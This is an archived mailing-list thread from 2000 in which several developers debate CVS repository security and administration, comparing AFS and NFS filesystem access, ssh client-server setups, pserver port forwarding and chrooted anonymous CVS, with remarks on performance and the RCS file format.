Also, about trusting the CVS server.  In 99% of the cases, you have little
to no option but to do that anyhow.  Using various cryptographic techniques
(such as ssh uses, etc), you can make reasonably sure that nobody is spoofing
your server, but once connected to your server, you little recourse, but to
trust what it does.  The same holds for the AFS case, the AFS server has to be
trusted by any AFS clients as well...


> Long answer:
> 
> If the CVS client or server code is insecure,
> if the CVS server is running as some anonymous OS user
> with its own password code managing multiple CVS users,
> then any bugs would allow any of the CVS users to munge
> anything belonging to any other CVS user.

Ahh, the anonymous CVS server scenario.  If you don't trust CVS to do its
thing correctly (and many of us don't), then I'd suggest using a wrapper,
along the lines of anoncvssh, that also does appropriate chroot() calls to
encapsulate things appropriately.  Alternatively, you could recognize that
CVS does anonymous (meaning without using machine IDs) rather poorly, esp.
if those users need commit access.  Granted, not really a solution.


> "Munge" includes reading data and corrupting data.
> Or, anything accessible to the anonymous OS user account.
> In this case, "munge" means data access, and possibly
> program execution.
> God help you if there are setuid programs running around,
> or if the anonymous OS user account under which the CVS
> server is not a relatively unprivileged "cvs", but has more
> privilege, even, possibly, root.

Very true, however, I fail to see how AFS is going to change much of this.
Yes, you can compartimentalize where and who writes what, but you still need
to administer "account" information, information that specifies which users
in the AFS cloud can write with which credentials where.  How is this any harder
than local (yp, etc, etc) user administration?  I think the only argument you
can make here is that there is a potential for being more secure, at the
expense of having (I really wanna use the word "stupid" here) novice people
poking through a repository with other "tools" (vi, rm, mv, ln, etc)...


> I.e. basically all of the CVS user-ids and the OS-user-id under
> which CVS runs must be considered to have the same privileges
> for worst case analysis -- at least until CVS passes a security audit.

Yes.  At worst case, your web user has system access, your lpd daemon
package has system access (likely even root holes).  I think a safer
approach is to run CVS in client-server mode, using only ssh (as far as
is possible) to access the repository.  Then, for each user that needs to
commit things, create a login/UID for that user, with a special shell.  This
shell (a version/variant) of anoncvssh would do sanity checking of arguments
and decent logging of where and how people were connected.  Along with some
simple ssh config tweaks (such as RSA key needed, etc) this should be reasonably
secure.  For "greater" security, a chroot() type of mechanism could be
implemented (it would take some more work)...


> With CVS running on top of a network filesystem,
> your security is that of the filesystem.
> CVS runs with the privilege of the user running the CVS
> command. (Let's forget about the possibility of CVS running
> setuid.)
> 
> If the CVS program run by the user is insecure, well,
> then the user can access exactly the files that he could access
> without running CVS.

Very true.  However, along with the performance problems that this original
note sparked (and that I have seen first hand), this also opens up the repo
for manipulation by any "authorized" users with any "tool" they choose.  I've
recovered a lot more corrupted repos due to this, than through a malicious
hacking attempt that actually succeeded.


> If the client machine is insecure, then the user can access...
> only the files that it can authenticate itself to the fileserver for.
> I.e. worst case, an intruder can take over the client machine,
> munge around in the virtual memory of other processes,
> find valid tokens, and use those to access the fileserver
> as the user whose process he intervened wi

Re: CVS security: networked filesystems like AFS, client server, ssh

[Andy Glew]

> > >CVS [pserver] with its own dedicated socket/port
> > >[port forwarded] run across SSH
> > >
> > >Transport secured, but the CVS socket/port
> > >is open to the world on the remote machine,
> > >and hence is insecure there, and on the
> > >remote machine's network.
> > 
> > If the data stream is encrypted, why do you call this insecure?  How secure is
> > secure?
> 
> The CVS socket on the remote machine will happily encrypt an attacker's
> connection just as it will the encrypt a legitimate user's connection.
> 
> I.e. in that configuration it's still only as secure as the remote
> machine, which if it's multi-user then it's not secure at all.


Amplifying:  Such a configuration is not just insecure 
if you are multiuser.   Most PCs are not multiuser,
but if a cracker can cause a program to run on a PC
(perhaps because of a bug in file sharing or the like)
then he can access the forwarded port even on a single
user PC.

Re: CVS security: networked filesystems like AFS, client server, ssh

[Andy Glew]

> > >CVS [pserver] with its own dedicated socket/port
> > >[port forwarded] run across SSH
> > >
> > >Transport secured, but the CVS socket/port
> > >is open to the world on the remote machine,
> > >and hence is insecure there, and on the
> > >remote machine's network.
> > 
> > If the data stream is encrypted, why do you call this insecure?  How secure is
> > secure?
> 
> The CVS socket on the remote machine will happily encrypt an attacker's
> connection just as it will the encrypt a legitimate user's connection.
> 
> I.e. in that configuration it's still only as secure as the remote
> machine, which if it's multi-user then it's not secure at all.


Amplifying:  Such a configuration is not just insecure 
if you are multiuser.   Most PCs are not multiuser,
but if a cracker can cause a program to run on a PC
(perhaps because of a bug in file sharing or the like)
then he can access the forwarded port even on a single
user PC.

Re: CVS security: networked filesystems like AFS, client server,ssh

[Andy Glew]

> I hate to point it out, but you seem to be a little confused.  First, if you
> "export" the repo with AFS/NFS/DFS/etc, that repo will not be accessible with
> other tools (such as rm, mv, ln, etc).  

???  I assume that you meant "the repo will be accessible with other tools".
I do this regularly - manipulating files in the repository across AFS,
for those situations when 

> In other words, yes, you only have to
> trust the AFS system, but if you can't trust the client that is running AFS,
> then you are screwed anyways.  (I can trojan AFS code to do malicious things).

No.  A proper secure network filesystem does not trust the filesystem client code.
The client may be corrupted, but it can still only access things for which there
is a valid token on the client side.  Yes, you can trojan the client, and thereby
get access to files of the user(s) working on the client, but you cannot get
access to other users files.

What you say is true of NFS, however. NFS does enforce security via 
client-side code.



> Very true, however, I fail to see how AFS is going to change much of this.
> Yes, you can compartimentalize where and who writes what, but you still need
> to administer "account" information, information that specifies which users
> in the AFS cloud can write with which credentials where.  How is this any harder
> than local (yp, etc, etc) user administration?  I think the only argument you
> can make here is that there is a potential for being more secure, at the
> expense of having (I really wanna use the word "stupid" here) novice people
> poking through a repository with other "tools" (vi, rm, mv, ln, etc)...

Yep. But now the account and privilege administration falls into
a standard and well-understood framework.  The full system sysadmins
get to control who can run programs on their machine, without CVS
providing a possible backdoor. The users, not necessarily sysadmins,
who manage CVS can control the filesystem that holds their repository.
It's straightforward to use ACLs to give read-only access to parts of
the repository, the ability to only edit existing files but not to add new files,
etc. 

You can, if you want to work hard enough, start using the setuid and 
capability system to allow novice users to use CVS add but not to
be able to use non-CVS tools on the raw filesystem. That's a whole other 
set of issues.  I've been there, but I really prefer to work with a skilled
team of non-novices who know when to access the repository directly
and when not to.



> Yes.  At worst case, your web user has system access

Yep. Some secure sites run "web servers" under AFS, by making
all of their URLs point to files in AFS. This way the browser
accesses the file as the user.  This approach also means that
you don't have to set up a ^%$$##@#$#$$^ password system
for restricted web pages - once again, the AFS ACLs handle it.


> your lpd daemon package has system access (likely even root holes). 

Yep^2.  In Gould Secure UNIX, the line printer was a perennial problem.
Overall, the solution seems to be true spooling - instead of the optimization
that allows lpd to read from a file in place, to always copy a file to the
spool directory, and then to take care that lpd doesn't screw up.
(One problem was that lpd once managed to skew control files
and data files, and printed the next print job for the previous user.)


> I think a safer
> approach is to run CVS in client-server mode, using only ssh (as far as
> is possible) to access the repository.  Then, for each user that needs to
> commit things, create a login/UID for that user, with a special shell.

Yes, this is the thing to do
(a) if you must use CVS server
(b) if you can get sysadmin suppprt.   

But, this "increases the overhead" of setting up CVS.
On a filesystem, ordinary users can set up their own repository
without having to ask the sysadmins.

I'm assuming that you are not using port forwarding...


> For "greater" security, a chroot() type of mechanism could be
> implemented (it would take some more work)...

I'm a great advocate of chroot.
I worked at Gould, next to the people who did Secure UNIX.


> There is close to some truth here.  In both methods, you have to trust almost
> the same amount of code.  The CVS code is there with both methods, one is client
> side, the other has the extra code server side.  On the one hand you have to
> trust the AFS/DFS/NFS/etc code, on the other SSH or whatever transport you wish
> to use.


 ahhh, I think I noticed the chief difference between us.

Your main concern seems to be the security of the repository.
I agree that this is important, and I agree with you that raw
filesystem access to the repository can allow novice users
to break things badly.

My main concern, however, is the security of the overall system,
and the security of other user's files that are managed by CVS
that are not supposed to be accessible by the first user.
Other repositories, if you will, or, more likely, other source

Re: CVS security: networked filesystems like AFS, client server, ssh

[Andy Glew]

> > >CVS [pserver] with its own dedicated socket/port
> > >[port forwarded] run across SSH
> > >
> > >Transport secured, but the CVS socket/port
> > >is open to the world on the remote machine,
> > >and hence is insecure there, and on the
> > >remote machine's network.
> > 
> > If the data stream is encrypted, why do you call this insecure?  How secure is
> > secure?
> 
> The CVS socket on the remote machine will happily encrypt an attacker's
> connection just as it will the encrypt a legitimate user's connection.
> 
> I.e. in that configuration it's still only as secure as the remote
> machine, which if it's multi-user then it's not secure at all.


Amplifying:  Such a configuration is not just insecure 
if you are multiuser.   Most PCs are not multiuser,
but if a cracker can cause a program to run on a PC
(perhaps because of a bug in file sharing or the like)
then he can access the forwarded port even on a single
user PC.

Re: CVS security: networked filesystems like AFS, client server,ssh

[Andy Glew]

> I hate to point it out, but you seem to be a little confused.  First, if you
> "export" the repo with AFS/NFS/DFS/etc, that repo will not be accessible with
> other tools (such as rm, mv, ln, etc).  

???  I assume that you meant "the repo will be accessible with other tools".
I do this regularly - manipulating files in the repository across AFS,
for those situations when 

> In other words, yes, you only have to
> trust the AFS system, but if you can't trust the client that is running AFS,
> then you are screwed anyways.  (I can trojan AFS code to do malicious things).

No.  A proper secure network filesystem does not trust the filesystem client code.
The client may be corrupted, but it can still only access things for which there
is a valid token on the client side.  Yes, you can trojan the client, and thereby
get access to files of the user(s) working on the client, but you cannot get
access to other users files.

What you say is true of NFS, however. NFS does enforce security via 
client-side code.



> Very true, however, I fail to see how AFS is going to change much of this.
> Yes, you can compartimentalize where and who writes what, but you still need
> to administer "account" information, information that specifies which users
> in the AFS cloud can write with which credentials where.  How is this any harder
> than local (yp, etc, etc) user administration?  I think the only argument you
> can make here is that there is a potential for being more secure, at the
> expense of having (I really wanna use the word "stupid" here) novice people
> poking through a repository with other "tools" (vi, rm, mv, ln, etc)...

Yep. But now the account and privilege administration falls into
a standard and well-understood framework.  The full system sysadmins
get to control who can run programs on their machine, without CVS
providing a possible backdoor. The users, not necessarily sysadmins,
who manage CVS can control the filesystem that holds their repository.
It's straightforward to use ACLs to give read-only access to parts of
the repository, the ability to only edit existing files but not to add new files,
etc. 

You can, if you want to work hard enough, start using the setuid and 
capability system to allow novice users to use CVS add but not to
be able to use non-CVS tools on the raw filesystem. That's a whole other 
set of issues.  I've been there, but I really prefer to work with a skilled
team of non-novices who know when to access the repository directly
and when not to.



> Yes.  At worst case, your web user has system access

Yep. Some secure sites run "web servers" under AFS, by making
all of their URLs point to files in AFS. This way the browser
accesses the file as the user.  This approach also means that
you don't have to set up a ^%$$##@#$#$$^ password system
for restricted web pages - once again, the AFS ACLs handle it.


> your lpd daemon package has system access (likely even root holes). 

Yep^2.  In Gould Secure UNIX, the line printer was a perennial problem.
Overall, the solution seems to be true spooling - instead of the optimization
that allows lpd to read from a file in place, to always copy a file to the
spool directory, and then to take care that lpd doesn't screw up.
(One problem was that lpd once managed to skew control files
and data files, and printed the next print job for the previous user.)


> I think a safer
> approach is to run CVS in client-server mode, using only ssh (as far as
> is possible) to access the repository.  Then, for each user that needs to
> commit things, create a login/UID for that user, with a special shell.

Yes, this is the thing to do
(a) if you must use CVS server
(b) if you can get sysadmin suppprt.   

But, this "increases the overhead" of setting up CVS.
On a filesystem, ordinary users can set up their own repository
without having to ask the sysadmins.

I'm assuming that you are not using port forwarding...


> For "greater" security, a chroot() type of mechanism could be
> implemented (it would take some more work)...

I'm a great advocate of chroot.
I worked at Gould, next to the people who did Secure UNIX.


> There is close to some truth here.  In both methods, you have to trust almost
> the same amount of code.  The CVS code is there with both methods, one is client
> side, the other has the extra code server side.  On the one hand you have to
> trust the AFS/DFS/NFS/etc code, on the other SSH or whatever transport you wish
> to use.


 ahhh, I think I noticed the chief difference between us.

Your main concern seems to be the security of the repository.
I agree that this is important, and I agree with you that raw
filesystem access to the repository can allow novice users
to break things badly.

My main concern, however, is the security of the overall system,
and the security of other user's files that are managed by CVS
that are not supposed to be accessible by the first user.
Other repositories, if you will, or, more likely, other source

Re: CVS security: networked filesystems like AFS, client server,ssh

[Andy Glew]

I just read the paper on OpenBSD's "Anonymous CVS"
system - pserver like, with an anoncvs account,
but read-only, on a dedicated machine, on a copy
of the repository, in a mainly read-only chroot.

*That* makes me feel sufficiently confident about security.
It's also note something that you are going to set up
too often.

---

I was interested to hear about CVSup. Does anyone on this
list have experience with it?

Re: CVS security: networked filesystems like AFS, client server,ssh

[Greg A. Woods]

[ On Tuesday, May 16, 2000 at 14:17:31 (-0500), Andy Glew wrote: ]
> Subject: Re: CVS security: networked filesystems like AFS, client server,ssh 
>
> I just read the paper on OpenBSD's "Anonymous CVS"
> system - pserver like, with an anoncvs account,

Yup -- but I still think an anonymous SSH account is even better.  It
does introduce a lot more code into the path, but at least the common
SSH distributions have been fairly closely scrutinized.  This gives
slightly more protection to the system since the only outside access
will presumably be restricted to a 

> but read-only, on a dedicated machine, on a copy
> of the repository, in a mainly read-only chroot.

I thought all that was an obvious given for any "anonymous" access!

You've also removed the compiler and any general-purpose interpreters
with lots of kinds of system-call support (perl, python, php, etc.) too,
I assme.

Surely nobody allows anonymous access to their live repository now, do
they?  That is an *extremely* risky thing to do, esp. given recent
public talk about so-called "security holes" in CVS!

(The chroot part though is optional as far as I'm concerned, assuming of
course that the box is really dedicated to just being an anonymous CVS
server and all other services disabled and even removed, and probably
with the repo copy retrieved over a second private ethernet interface
that's normally not configured except when the public one is off-line
during scheduled maintenance time.)

> *That* makes me feel sufficiently confident about security.

well at least then any damage is easily spotted and corrected

> It's also note something that you are going to set up
> too often.

nope!

> I was interested to hear about CVSup. Does anyone on this
> list have experience with it?

I've used it to keep a copy of the FreeBSD repository in sync and it
works very well indeed.

You still probably want to run it it on a dedicated "anonymous-only"
system with a copy of the repository if you're going to allow anonymous
access to it.

-- 
Greg A. Woods

+1 416 218-0098  VE3TCP  <[EMAIL PROTECTED]>  
Planix, Inc. <[EMAIL PROTECTED]>; Secrets of the Weird <[EMAIL PROTECTED]>

Re: CVS security: networked filesystems like AFS, client server ,ssh

[Russ Allbery]

Noel L Yap <[EMAIL PROTECTED]> writes:

> I see (some of) the requirements as the following:
> 1. Allow CVS to work without a login account on the server.

I don't understand the problem with creating an ssh account that only
allows the cvs server command.  I certainly have more confidence in ssh's
security than in CVS's, and I believe this is the setup that SourceForge
is currently using.

-- 
Russ Allbery ([EMAIL PROTECTED]) 

RE: CVS security: networked filesystems like AFS, client server, ssh

[Fredrik Liljegren]

> CVS using a non-socket/port transport like rsh or ssh
> to connect to a server machine. "cvs server"
> 
> As secure as the transport.
> 
> E.g. requires account administration on the
> machine on which cvs server will run.

You lose very much in performance if you run cvs "locally" over a networked
filesystem, instead of a client server.  Believe me, I got a change from
about 25 minuter to between 5 and 8 seconds by switching from a smb-mount to
ssh-client/server.  Security-wise though, I don't know that much about it...

Regards, EOF

Re: CVS security: networked filesystems like AFS, client server ,ssh

[Noel L Yap]

[EMAIL PROTECTED] on 05/17/2000 02:03:11 AM
>Noel L Yap <[EMAIL PROTECTED]> writes:
>
>> I see (some of) the requirements as the following:
>> 1. Allow CVS to work without a login account on the server.
>
>I don't understand the problem with creating an ssh account that only
>allows the cvs server command.  I certainly have more confidence in ssh's
>security than in CVS's, and I believe this is the setup that SourceForge
>is currently using.

I should've added another requirement:
3. Minimize involvement of sysadmin (at least for management of read-only
users).

The reason I didn't include it the first time is 'cos it's more a requirement in
a maintenance sense than an absolute sense.  For example, I'd like to distribute
(to an extent) the admin of the repository so that I can give authorization to
some people to be able to add/remove other people to the list of read-only
users.

Noel



This communication is for informational purposes only.  It is not intended as
an offer or solicitation for the purchase or sale of any financial instrument
or as an official confirmation of any transaction. All market prices, data
and other information are not warranted as to completeness or accuracy and
are subject to change without notice. Any comments or statements made herein
do not necessarily reflect those of J.P. Morgan & Co. Incorporated, its
subsidiaries and affiliates.

Re: CVS security: networked filesystems like AFS, client server ,ssh

[Andy Glew]

> >> I see (some of) the requirements as the following:
> >> 1. Allow CVS to work without a login account on the server.
> >
> >I don't understand the problem with creating an ssh account that only
> >allows the cvs server command.  I certainly have more confidence in ssh's
> >security than in CVS's, and I believe this is the setup that SourceForge
> >is currently using.
> 
> I should've added another requirement:
> 3. Minimize involvement of sysadmin (at least for management of read-only
> users).
> 
> The reason I didn't include it the first time is 'cos it's more a requirement in
> a maintenance sense than an absolute sense.  For example, I'd like to distribute
> (to an extent) the admin of the repository so that I can give authorization to
> some people to be able to add/remove other people to the list of read-only
> users.



I differ with Noel: I think that it is absolute anathema to have CVS work
without a login account on the server.  


However, I agree with Noel about minimizing sysadmin involvement.
Sysadmin should only be required to set up user accounts.
The setup of the CVS project, repository, management of permissions,
etc., none of it should require sysadmin involvement.
This is one of the biggest reasons I am pro-network filesystems
and against servers.

Re: CVS security: networked filesystems like AFS, client server,ssh

[Gerhard Sittig]

On Mon, May 15, 2000 at 12:44 -0500, Andy Glew wrote:
> 
> Noel L Yap wrote:
> 
> > [EMAIL PROTECTED] on 05/14/2000 09:50:23 PM
> > >CVS with its own dedicated socket/port
> > >run across SSH
> > >
> > >Transport secured, but the CVS socket/port
> > >is open to the world on the remote machine,
> > >and hence is insecure there, and on the
> > >remote machine's network.
> >
> > If the data stream is encrypted, why do you call this
> > insecure?  How secure is secure?
> 
> [ ... ]
> 
> If the forwarded port is open to all of the network segment
> that the client machine is on, then you are only as secure as
> the least secure machine on that network.

Yes, *if* the forwarded port is open ...  But this is normally
not the case.  I recall myself wondering about the dialog box
popping up from TeraTerm Pro saying "remote host ... tried to use
us" (or something along these lines).  Glimpsing over the ssh
manpage and reading third party literature too revealed that you
explicitely have to open you forwarded ports for use by other
machines than localhost.  This means that any connection to this
port not originating from 127.0.0.1 will fail.  And you have set
up a filter for your workstation not to allow such packets from
the outside interfaces since you're concerned about security.
Don't you? :)


virtually yours   82D1 9B9C 01DC 4FB4 D7B4  61BE 3F49 4F77 72DE DA76
Gerhard Sittig   true | mail -s "get gpg key" [EMAIL PROTECTED]
-- 
 If you don't understand or are scared by any of the above
 ask your parents or an adult to help you.

Re: CVS security: networked filesystems like AFS, client server ,ssh

[Noel L Yap]

[EMAIL PROTECTED] on 05/17/2000 06:35:59 PM
>I differ with Noel: I think that it is absolute anathema to have CVS work
>without a login account on the server.
>
>However, I agree with Noel about minimizing sysadmin involvement.
>Sysadmin should only be required to set up user accounts.
>The setup of the CVS project, repository, management of permissions,
>etc., none of it should require sysadmin involvement.
>This is one of the biggest reasons I am pro-network filesystems
>and against servers.

Just to clarify, do you think it's better for users to have:
0. no account on the server (eg use a group account)?  From your previous posts,
I think not, but I just wanted this list to be as complete as possible.
1. a user account (that they can't use to login to the server).
2. a login account.

Noel



This communication is for informational purposes only.  It is not intended as
an offer or solicitation for the purchase or sale of any financial instrument
or as an official confirmation of any transaction. All market prices, data
and other information are not warranted as to completeness or accuracy and
are subject to change without notice. Any comments or statements made herein
do not necessarily reflect those of J.P. Morgan & Co. Incorporated, its
subsidiaries and affiliates.

Re: CVS security: networked filesystems like AFS, client server ,ssh

[Andy Glew]

> Just to clarify, do you think it's better for users to have:
> 0. no account on the server (eg use a group account)?  From your previous posts,
> I think not, but I just wanted this list to be as complete as possible.
> 1. a user account (that they can't use to login to the server).
> 2. a login account.


1. a user account that cannot be used to log in.

The basic rule in secure systems is that only one user
must map to each account.

You can have multiple accounts for a different user.
But only one user per account.
And no sharing of accounts.

I might be willing to relax this rule for strictly read-only access,
but strict security administrators will not.

RE: CVS security: networked filesystems like AFS, client server ,ssh

[Cameron, Steve]

[smc]  Andy Glew wrote:
>  
> However, I agree with Noel about minimizing sysadmin involvement.
> Sysadmin should only be required to set up user accounts.
> The setup of the CVS project, repository, management of permissions,
> etc., none of it should require sysadmin involvement.
> This is one of the biggest reasons I am pro-network filesystems
> and against servers.
[smc]  Just wanted to add one thing:

At most sites, where some kind of distributed
userids and network filesystem is already in place
for other reasons besides CVS, it's true that this
is the low-admin route.

However, at a site like mine, where we have very
transient and varied client machines.  (e..g. prototype
hardware comes in every couple of weeks, gets
several OSes installed on in in the course of it's 2 week
lifespan, etc.) even a mildly complicated setup is not 
practical.. (even a distributed passwd file is too much to
ask for.)

In that case, 1 NFS mount to get to the CVS executable,
plus client server CVS so that user-ids don't have
to match is the way to go for lowest-possible-admin
involvement.  (all this on a private network of course,
and the CVS _server_ can be as complicated as need
be,  the main goal is to reduce to zero the admin effort
required for all those transient clients.)

-- steve

Re: CVS security: networked filesystems like AFS, client server, ssh

[Russ Allbery]

Fredrik Liljegren <[EMAIL PROTECTED]> writes:

> You lose very much in performance if you run cvs "locally" over a
> networked filesystem, instead of a client server.  Believe me, I got a
> change from about 25 minuter to between 5 and 8 seconds by switching
> from a smb-mount to ssh-client/server.  Security-wise though, I don't
> know that much about it...

You do lose performance, but I think Samba is particularly slow.  The
ratio that I've heard for AFS repositories vs. client-server is more in
the range of a factor of two or three times slower for the AFS repository
(this from sites with large development work going on in CVS).  For me,
the ease of administration gained by not having to handle client-server
more than makes up for that, since we don't do tons of heavy tagging and
branching.  YMMV.

-- 
Russ Allbery ([EMAIL PROTECTED]) 

Re: CVS security: networked filesystems like AFS, client server, ssh

[Andy Glew]

> You do lose performance, but I think Samba is particularly slow.

In spades!

> For me, the ease of administration gained by not having to handle client-server
> more than makes up for that, since we don't do tons of heavy tagging and
> branching.  

I do lots of branching and tagging, and therefore have been tempted
by server.

But, I think the real problem is that CVS tags abd branches reside 
in the RCS data files, rather than in a separate file. There is no reason
to do this; it is just plain WRONG.  E.g. I may have read-only access
to a library file, and I may want to indicate that I depend on a particular
version by tagging - but to tag I need the ability to write the RCS file?
WRONG, WRONG, WRONG! E.g. tagging is not an atomic action?
WRONG!  

Once you place tag info in separate files, the performance cost 
goes down dramatically.

RE: CVS security: networked filesystems like AFS, client server , ssh

[Fredrik Liljegren]

> > However, I agree with Noel about minimizing sysadmin involvement.
> > Sysadmin should only be required to set up user accounts.
> > The setup of the CVS project, repository, management of permissions,
> > etc., none of it should require sysadmin involvement.
> > This is one of the biggest reasons I am pro-network filesystems
> > and against servers.

>   At most sites, where some kind of distributed
>   userids and network filesystem is already in place
>   for other reasons besides CVS, it's true that this
>   is the low-admin route.

Just wanted to add my 2 swedish öre :)

I have automized my administration by having the sshd authenticating with
pam to our fileserver (NT domain), and if the user exists there but not on
the cvs-server, it is created and put in the right group.  An rsa-key is
also created and the home-dir shared so that only that user can get to the
key for automatic login.
  This of course gives me no more security than the least of both ssh and
the fileservers, but it gives me the power of cvs knowing all the users,
client-server accelleration and minimized administration.

..Unfortunately I had to hack into sshd to make it able to contiue with
pam-authentication even though the user didn't exist in passwd yet..

Regards, EOF

RE: CVS security: networked filesystems like AFS, client server ,ssh

[Greg A. Woods]

[ On Thursday, May 18, 2000 at 10:50:48 (-0500), Cameron, Steve wrote: ]
> Subject: RE: CVS security: networked filesystems like AFS, client server ,ssh
>
>   However, at a site like mine, where we have very
>   transient and varied client machines.  (e..g. prototype
>   hardware comes in every couple of weeks, gets
>   several OSes installed on in in the course of it's 2 week
>   lifespan, etc.) even a mildly complicated setup is not 
>   practical.. (even a distributed passwd file is too much to
>   ask for.)

and so you trust that temporary experimental machine at the same level
as you trust your own permanent servers!?!?!?!

I know I've been known to put customer and prototype machines on my
production network at home, but I have what I hope to be rather strong
host security and I don't even trust everything on the wire with the
same subnet address or domain suffix.  However most folks I know in
professional labs would not only put such prototype machines on a
separate subnet, but they'd firewall the heck out of it internally too!

-- 
Greg A. Woods

+1 416 218-0098  VE3TCP  <[EMAIL PROTECTED]>  
Planix, Inc. <[EMAIL PROTECTED]>; Secrets of the Weird <[EMAIL PROTECTED]>

Re: CVS security: networked filesystems like AFS, client server, ssh

[Noel L Yap]

IMHO, 2 to 3 times slower isn't too bad.  But in our case, using NFS, I've seen
slow downs of 10 to 15 times, IIRC.

Noel




[EMAIL PROTECTED] on 05/18/2000 10:32:07 PM

To:   [EMAIL PROTECTED]
cc:   (bcc: Noel L Yap)
Subject:  Re: CVS security: networked filesystems like AFS, client server,  ssh




Fredrik Liljegren <[EMAIL PROTECTED]> writes:

> You lose very much in performance if you run cvs "locally" over a
> networked filesystem, instead of a client server.  Believe me, I got a
> change from about 25 minuter to between 5 and 8 seconds by switching
> from a smb-mount to ssh-client/server.  Security-wise though, I don't
> know that much about it...

You do lose performance, but I think Samba is particularly slow.  The
ratio that I've heard for AFS repositories vs. client-server is more in
the range of a factor of two or three times slower for the AFS repository
(this from sites with large development work going on in CVS).  For me,
the ease of administration gained by not having to handle client-server
more than makes up for that, since we don't do tons of heavy tagging and
branching.  YMMV.

--
Russ Allbery ([EMAIL PROTECTED]) <http://www.eyrie.org/~eagle/>






This communication is for informational purposes only.  It is not intended as
an offer or solicitation for the purchase or sale of any financial instrument
or as an official confirmation of any transaction. All market prices, data
and other information are not warranted as to completeness or accuracy and
are subject to change without notice. Any comments or statements made herein
do not necessarily reflect those of J.P. Morgan & Co. Incorporated, its
subsidiaries and affiliates.

Re: CVS security: networked filesystems like AFS, client server, ssh

[Russ Allbery]

Andy Glew <[EMAIL PROTECTED]> writes:

> But, I think the real problem is that CVS tags abd branches reside in
> the RCS data files, rather than in a separate file. There is no reason
> to do this; it is just plain WRONG.  E.g. I may have read-only access to
> a library file, and I may want to indicate that I depend on a particular
> version by tagging - but to tag I need the ability to write the RCS
> file?  WRONG, WRONG, WRONG! E.g. tagging is not an atomic action?
> WRONG!

> Once you place tag info in separate files, the performance cost goes
> down dramatically.

There are a variety of problems with the RCS file format (no checksums is
another one, plus tying any VC system using them strongly to a file
structure), but they've never been sufficient to warrant CVS giving up the
significant advantages of using RCS (seamless migration from RCS, ability
to extract data from a CVS repository using standard RCS tools, use of a
known and well-documented file format, all the existing parsing tools and
libraries for the format, etc.).

-- 
Russ Allbery ([EMAIL PROTECTED])